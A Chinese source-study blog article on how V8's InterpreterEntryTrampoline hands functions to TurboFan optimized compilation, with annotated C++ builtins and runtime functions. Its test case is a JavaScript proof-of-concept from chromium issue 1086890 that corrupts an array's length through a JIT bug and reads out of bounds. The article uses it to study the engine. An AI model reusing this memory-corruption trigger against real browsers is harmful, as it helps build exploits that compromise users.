《Chrome V8 源码》42. InterpreterEntryTrampoline 与优化编译

求助！求助！

我基于chromium做了一款能检测DOM-XSS的浏览器，急需XSS测试用例，求各路大神给我些真实的用例，感谢！

1 介绍

InterpreterEntryTrampoline 属于 V8 ignition，负责为 JSFunction 函数构建堆栈并执行该函数，也负责启动优化编译功能 Runtime_CompileOptimized_Concurrent。之前的文章讲过 InterpreterEntryTrampoline 与解释执行，而本文重点介绍 InterpreterEntryTrampoline 与 Runtime_CompileOptimized_Concurrent 之间的调用关系以及重要数据结构。

2 InterpreterEntryTrampoline 源码

源码如下：

```
1.  void Builtins::Generate_InterpreterEntryTrampoline(MacroAssembler* masm) {
2.  Register closure = rdi;
3.  Register feedback_vector = rbx;
4.  __ LoadTaggedPointerField(
5.      rax, FieldOperand(closure, JSFunction::kSharedFunctionInfoOffset));
```

```
6.  __ LoadTaggedPointerField(
7.      kInterpreterBytecodeArrayRegister,
8.      FieldOperand(rax, SharedFunctionInfo::kFunctionDataOffset));
9.  GetSharedFunctionInfoBytecode(masm, kInterpreterBytecodeArrayRegister,
10.                                kScratchRegister);
11.   Label compile_lazy;
12.   __ CmpObjectType(kInterpreterBytecodeArrayRegister, BYTECODE_ARRAY_TYPE,
rax);
13.   __ j(not_equal, &compile_lazy);
14.   __ LoadTaggedPointerField(
15.       feedback_vector, FieldOperand(closure,
JSFunction::kFeedbackCellOffset));
16.   __ LoadTaggedPointerField(feedback_vector,
17.                             FieldOperand(feedback_vector,
Cell::kValueOffset));
18.   Label push_stack_frame;
19.   __ LoadTaggedPointerField(
20.       rcx, FieldOperand(feedback_vector, HeapObject::kMapOffset));
21.   __ CmpInstanceType(rcx, FEEDBACK_VECTOR_TYPE);
22.   __ j(not_equal, &push_stack_frame);
23.   Register optimized_code_entry = rcx;
24.   __ LoadAnyTaggedField(
25.       optimized_code_entry,
26.       FieldOperand(feedback_vector,
27.                    FeedbackVector::kOptimizedCodeWeakOrSmiOffset));
28.   Label optimized_code_slot_not_empty;
29.   __ Cmp(optimized_code_entry, Smi::FromEnum(OptimizationMarker::kNone));
30.   __ j(not_equal, &optimized_code_slot_not_empty);
31.   Label not_optimized;
32.   __ bind(&not_optimized);
33.   __ incl(
34.       FieldOperand(feedback_vector, FeedbackVector::kInvocationCountOffset));
35.  /*解释执行，参见之前的文章*/
36.  /*解释执行，参见之前的文章*/
37.  /*解释执行，参见之前的文章*/
38.    __ bind(&optimized_code_slot_not_empty);
39.    Label maybe_has_optimized_code;
40.    __ JumpIfNotSmi(optimized_code_entry, &maybe_has_optimized_code);
41.    MaybeOptimizeCode(masm, feedback_vector, optimized_code_entry);
42.    __ jmp(&not_optimized);
43.    __ bind(&maybe_has_optimized_code);
44.    __ LoadWeakValue(optimized_code_entry, &not_optimized);
45.    TailCallOptimizedCodeSlot(masm, optimized_code_entry, r11, r15);
46.    __ bind(&stack_overflow);
47.    __ CallRuntime(Runtime::kThrowStackOverflow);
48.    __ int3();  // Should not return.
49.  }
```

上述代码中，第 2 行代码 closure 是 JSFunction 函数地址；
第 4 行代码从 JSFunction 中获取 SharedFunction 函数地址，并保存到 rax 寄存器；
第 6-9 行代码从 SharedFunction 中获取 BytecodeArray 地址，并保存到 kInterpreterBytecodeArrayRegister 寄存器；

第 12 行代码判断 kInterpreterBytecodeArrayRegister 寄存器的值是 BytecodeArray 或者 compile_lazy;
提示： JavaScript源码编译时，如果该 SharedFunciton 不是最外层函数，而是一个函数调用，该 SharedFunction 被标记为 compile_lazy，那么 kInterpreterBytecodeArrayRegister 的值是 compile_lazy。
第 14-16 行代码加载 feedback_vector；feedback_vector 保存当前 SharedFunction 的优化信息；
第 19-25 行代码获取 feedback_vector 的 Map，并判断当前 SharedFunction 是否已被 TurboFan 编译了；
第 33 行代码 feedback_vector 的值增加1，记录当前 SharedFunction 的执行次数，当 feedback_vector 值达到一个阈值时会触发 TurboFan 编译该 SharedFunction，即优化编译；
第 34-37 行代码省略了解释执行 BytecodeArray 的过程，参见之前的文章；
第 41 行代码启动优化编译器，生成优化代码入口 optimized_code_entry；
第 45 行代码执行 optimized_code_entry。
MaybeOptimizeCode() 负责启动优化编译，源码如下：

```
1.  static void MaybeOptimizeCode(MacroAssembler* masm, Register feedback_vector,
2.                                Register optimization_marker) {
3.    DCHECK(!AreAliased(feedback_vector, rdx, rdi, optimization_marker));
4.    TailCallRuntimeIfMarkerEquals(masm, optimization_marker,
5.                                  OptimizationMarker::kLogFirstExecution,
6.                                  Runtime::kFunctionFirstExecution);
7.    TailCallRuntimeIfMarkerEquals(masm, optimization_marker,
8.                                  OptimizationMarker::kCompileOptimized,
9.                                  Runtime::kCompileOptimized_NotConcurrent);
10.    TailCallRuntimeIfMarkerEquals(masm, optimization_marker,
11.
OptimizationMarker::kCompileOptimizedConcurrent,
12.                                   Runtime::kCompileOptimized_Concurrent);
13.    if (FLAG_debug_code) {
14.      __ SmiCompare(optimization_marker,
15.                    Smi::FromEnum(OptimizationMarker::kInOptimizationQueue));
16.      __ Assert(equal, AbortReason::kExpectedOptimizationSentinel);
17.    }
18.  }
```

上述代码中，第 7-12 行根据 optimization_marker 的值决定使用 CompileOptimized_NotConcurrent 或 CompileOptimized_Concurrent 编译方法。这两种方法的区别是 NotConcurrent 和 Concurrent，但它们的编译流程一样。

3 优化编译

Concurrent 和 NotConcurrent 的入口函数如下：

```
RUNTIME_FUNCTION(Runtime_CompileOptimized_Concurrent) {
 HandleScope scope(isolate);
 DCHECK_EQ(1, args.length());
 CONVERT_ARG_HANDLE_CHECKED(JSFunction, function, 0);
 StackLimitCheck check(isolate);
 if (check.JsHasOverflowed(kStackSpaceRequiredForCompilation * KB)) {
   return isolate->StackOverflow();
```

```
 }
 if (!Compiler::CompileOptimized(function, ConcurrencyMode::kConcurrent)) {
   return ReadOnlyRoots(isolate).exception();
 }
 DCHECK(function->is_compiled());
 return function->code();
}
//分隔线.............................
RUNTIME_FUNCTION(Runtime_CompileOptimized_NotConcurrent) {
 HandleScope scope(isolate);
 DCHECK_EQ(1, args.length());
 CONVERT_ARG_HANDLE_CHECKED(JSFunction, function, 0);
 StackLimitCheck check(isolate);
 if (check.JsHasOverflowed(kStackSpaceRequiredForCompilation * KB)) {
   return isolate->StackOverflow();
 }
 if (!Compiler::CompileOptimized(function, ConcurrencyMode::kNotConcurrent)) {
   return ReadOnlyRoots(isolate).exception();
 }
 DCHECK(function->is_compiled());
 return function->code();
}
```

上述两部分代码都会调用 Compiler::CompileOptimized()，它是编译的入口函数，该函数中调用 GetOptimizedCode() 以完成编译工作，GetOptimizedCode 源码如下：

```
1.  MaybeHandle<Code> GetOptimizedCode(Handle<JSFunction> function,
2.                                     ConcurrencyMode mode,
3.                                     BailoutId osr_offset = BailoutId::None(),
4.                                     JavaScriptFrame* osr_frame = nullptr) {
5.  //省略..............
6.    if (V8_UNLIKELY(FLAG_testing_d8_test_runner)) {
7.      PendingOptimizationTable::FunctionWasOptimized(isolate, function);
8.    }
9.    Handle<Code> cached_code;
10.    if (GetCodeFromOptimizedCodeCache(function, osr_offset)
11.            .ToHandle(&cached_code)) {
12.      if (FLAG_trace_opt) {
13.        CodeTracer::Scope scope(isolate->GetCodeTracer());
14.        PrintF(scope.file(), "[found optimized code for ");
15.        function->ShortPrint(scope.file());
16.        if (!osr_offset.IsNone()) {
17.          PrintF(scope.file(), " at OSR AST id %d", osr_offset.ToInt());
18.        }
19.        PrintF(scope.file(), "]\n");
20.      }
21.      return cached_code;
22.    }
23.    DCHECK(shared->is_compiled());
24.    function->feedback_vector().set_profiler_ticks(0);
25.    VMState<COMPILER> state(isolate);
```

```
26.    TimerEventScope<TimerEventOptimizeCode> optimize_code_timer(isolate);
27.    RuntimeCallTimerScope runtimeTimer(isolate,
28.                                       RuntimeCallCounterId::kOptimizeCode);
29.    TRACE_EVENT0(TRACE_DISABLED_BY_DEFAULT("v8.compile"), "V8.OptimizeCode");
30.    DCHECK(!isolate->has_pending_exception());
31.    PostponeInterruptsScope postpone(isolate);
32.    bool has_script = shared->script().IsScript();
33.    DCHECK_IMPLIES(!has_script, shared->HasBytecodeArray());
34.    std::unique_ptr<OptimizedCompilationJob> job(
35.        compiler::Pipeline::NewCompilationJob(isolate, function, has_script,
36.                                              osr_offset, osr_frame));
37.    OptimizedCompilationInfo* compilation_info = job->compilation_info();
38.    if (compilation_info->shared_info()->HasBreakInfo()) {
39.      compilation_info-
>AbortOptimization(BailoutReason::kFunctionBeingDebugged);
40.      return MaybeHandle<Code>();
41.    }
42.    if (!FLAG_opt || !shared->PassesFilter(FLAG_turbo_filter)) {
43.      compilation_info-
>AbortOptimization(BailoutReason::kOptimizationDisabled);
44.      return MaybeHandle<Code>();
45.    }
46.    base::Optional<CompilationHandleScope> compilation;
47.    if (mode == ConcurrencyMode::kConcurrent) {
48.      compilation.emplace(isolate, compilation_info);
49.    }
50.    CanonicalHandleScope canonical(isolate);
51.    compilation_info->ReopenHandlesInNewHandleScope(isolate);
52.    if (mode == ConcurrencyMode::kConcurrent) {
53.      if (GetOptimizedCodeLater(job.get(), isolate)) {
54.        job.release();
55.        function-
>SetOptimizationMarker(OptimizationMarker::kInOptimizationQueue);
56.        DCHECK(function->IsInterpreted() ||
57.               (!function->is_compiled() && function-
>shared().IsInterpreted()));
58.        DCHECK(function->shared().HasBytecodeArray());
59.        return BUILTIN_CODE(isolate, InterpreterEntryTrampoline);
60.      }
61.    } else {
62.      if (GetOptimizedCodeNow(job.get(), isolate))
63.        return compilation_info->code();
64.    }
65.    if (isolate->has_pending_exception()) isolate->clear_pending_exception();
66.    return MaybeHandle<Code>();
67.  }
```

上述代码中，第 10-22 行查询 CodeCache，如果命中则直接返回结果； 第 24 行重置 feedback_vector，因为该函数即将被优化编译，不再需要做热点统计；
第 34-37 行创建优化编译的实例对象 job；
第 37-50 行判断 Flag、记录编译方式（Concurrent 或 NotConcurrent）；
第 52 行根据编译方式的不同，选择现在编译（GetOptimizedCodeNow）或稍后编译

（GetOptimizedCodeLater）；
第 59 行返回 BUILTIN_CODE(isolate, InterpreterEntryTrampoline)，因为是稍后编译，也就是 Concurrent 方式，当下的解释执行不能停，所以才有这样的返回结果；
第 62 行此时为 NotConcurrent，所以第 63 行代码返回编译后的 code。
简单说明 GetOptimizedCodeNow 的工作流程，源码如下:

```
1.  bool GetOptimizedCodeNow(OptimizedCompilationJob* job, Isolate* isolate) {
1.    TimerEventScope<TimerEventRecompileSynchronous> timer(isolate);
2.    if (job->PrepareJob(isolate) != CompilationJob::SUCCEEDED ||
3.        job->ExecuteJob(isolate->counters()->runtime_call_stats()) !=
4.            CompilationJob::SUCCEEDED ||
5.        job->FinalizeJob(isolate) != CompilationJob::SUCCEEDED) {
6.    // 省略........
7.      return false;
8.    }
9.     // 省略........
10.    return true;
11.  }
```

上述代码与 Bytecode 的编译过程相似，也分为三部分：1. PrepareJob；2. ExecuteJob；3. FinalizeJob。PrepareJob 负责编译前的准备工作； ExecuteJob 负责所有编译工作； FinalizeJob 负责把编译结果（code）安装到 SharedFunction 中、更新 CodeCache 等收尾工作。 GetOptimizedCodeLater 的工作流程是：将编译任务 Job 放进了编译分发（dispatch）队列，待编译完成后会设置相应的 SharedFunction 状态。

4 Concurrent 测试用例

源码如下：

```
1.  array = Array(0x40000).fill(1.1);
2.  args = Array(0x100 - 1).fill(array);
3.  args.push(Array(0x40000 - 4).fill(2.2));
4.  giant_array = Array.prototype.concat.apply([], args);
5.  giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
6.  length_as_double =
7.      new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];
8.  function trigger(array) {
9.    var x = array.length;
10.    x -= 67108861;
11.    x = Math.max(x, 0);
12.    x *= 6;
13.    x -= 5;
14.    x = Math.max(x, 0);
15.    let corrupting_array = [0.1, 0.1];
16.    let corrupted_array = [0.1];
17.    corrupting_array[x] = length_as_double;
18.    return [corrupting_array, corrupted_array];
19.  }
20.  //console.log(length_as_double);
```

```
21.  for (let i = 0; i < 30000; ++i) {
22.    trigger(giant_array);
23.  }
24.  //console.log(length_as_double);
25.  corrupted_array = trigger(giant_array)[1];
26.  //%DebugPrint(corrupted_array);
27.  console.log('Now corrupted array length: ' +
corrupted_array.length.toString(16));
28.  corrupted_array[0x123456];
```

上述代码来自 chromium issue 1086890。 第 8 行代码 trigger() 创建并返回数组，第 21 行代码循环执行 trigger() 会触发 Runtime_CompileOptimized_Concurrent 方法。函数调用堆栈如图 1 所示。

Figure 1

```
46  }
47
48  RUNTIME_FUNCTION(Runtime_CompileOptimized_Concurrent) {
49    HandleScope scope(isolate);
50    DCHECK_EQ(1, args.length());
51    CONVERT_ARG_HANDLE_CHECKED(JSFunction, function, 0);
52    StackLimitCheck check(isolate);
53    if (check.JsHasOverflowed(kStackSpaceRequiredForCompilation * KB)) {
54      return isolate->StackOverflow();
55    }
56    if (!Compiler::CompileOptimized(function, ConcurrencyMode::kConcurrent)) {
57      return ReadOnlyRoots(isolate).exception();
58    }
```

88 % 未找到相关问题

调用堆栈

名称	语言
v8.dll!v8::internal::compiler::PipelineCompilationJob::PrepareJobImpl(v8::internal::Isolate * isolate) 行 1060	C++
v8.dll!v8::internal::OptimizedCompilationJob::PrepareJob(v8::internal::Isolate * isolate) 行 240	C++
v8.dll!v8::internal::`anonymous namespace'::GetOptimizedCodeLater(v8::internal::OptimizedCompilationJob * job, v8::internal::Isolate * isolate) 行 874	C++
v8.dll!v8::internal::`anonymous namespace'::GetOptimizedCode(v8::internal::Handle<v8::internal::JSFunction> function, v8::internal::ConcurrencyMode mode, v8::i...	C++
v8.dll!v8::internal::Compiler::CompileOptimized(v8::internal::Handle<v8::internal::JSFunction> function, v8::internal::ConcurrencyMode mode) 行 1646	C++
v8.dll!v8::internal::__RT_impl_Runtime_CompileOptimized_Concurrent(v8::internal::Arguments<v8::internal::ArgumentsType::kRuntime> args, v8::internal::Isolate * i...	C++
v8.dll!v8::internal::Runtime_CompileOptimized_Concurrent(int args_length, unsigned __int64 * args_object, v8::internal::Isolate * isolate) 行 48	C++
[外部代码]	
v8.dll!v8::internal::GeneratedCode<unsigned long long,unsigned long long,unsigned long long,unsigned long long,unsigned long long,unsigned long long,unsigned long long,unsigned long l	C++

新文章介绍

《Chrome V8 Bug》 系列文章即将上线。

《Chrome V8 Bug》系列文章的目的是解释漏洞的产生原因，并向你展示这些漏洞如何影响 V8 的正确性。其他的漏洞文章大多从安全研究的角度分析，讲述如何设计与使用 PoC。而本系列文章是从源码研究的角度来写的，分析 PoC 在 V8 中的执行细节，讲解为什么 Poc 要这样设计。当然，学习 Poc 的设计与使用，是 V8 安全研究的很好的出发点，所以，对于希望深入学习 V8 源码和 PoC 原理的人来说，本系列文章也是很有价值的介绍性读物。

好了，今天到这里，下次见。

个人能力有限，有不足与纰漏，欢迎批评指正

微信：qq9123013 备注：v8交流 邮箱：v8blink@outlook.com